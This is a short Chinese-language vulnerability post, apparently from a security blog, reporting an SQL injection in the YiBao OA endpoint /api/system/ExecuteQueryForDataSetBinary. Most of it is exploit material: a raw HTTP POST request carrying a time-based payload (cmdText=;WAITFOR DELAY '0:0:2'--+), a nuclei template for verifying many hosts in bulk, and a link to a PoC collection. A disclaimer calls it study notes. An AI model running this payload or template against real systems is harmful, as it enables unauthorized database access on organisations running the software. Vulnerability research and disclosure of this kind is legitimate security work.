免责声明:
本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
漏洞描述
易宝OA的/api/system/ExecuteQueryForDataSetBinary处存在sql注入漏洞
漏洞复现
打开页面
构造payload
POST /api/system/ExecuteQueryForDataSetBinary HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 43token=zxh&cmdText=;WAITFOR DELAY '0:0:2'--+
nuclei批量验证
id: YiBao-OA-ExecuteQueryForDataSetBinary-sqliinfo:name: YiBao-OA-ExecuteQueryForDataSetBinary-sqliauthor: changgeseverity: criticalhttp:- raw: - |POST /api/system/ExecuteQueryForDataSetBinary HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 43token=zxh&cmdText=;WAITFOR DELAY '0:0:2'--+matchers:- type: dsldsl: - 'duration>=2'
github poc总汇地址:https://github.com/AYcg/poc
此文首发于公众号【长歌安全】,转载请注明出处!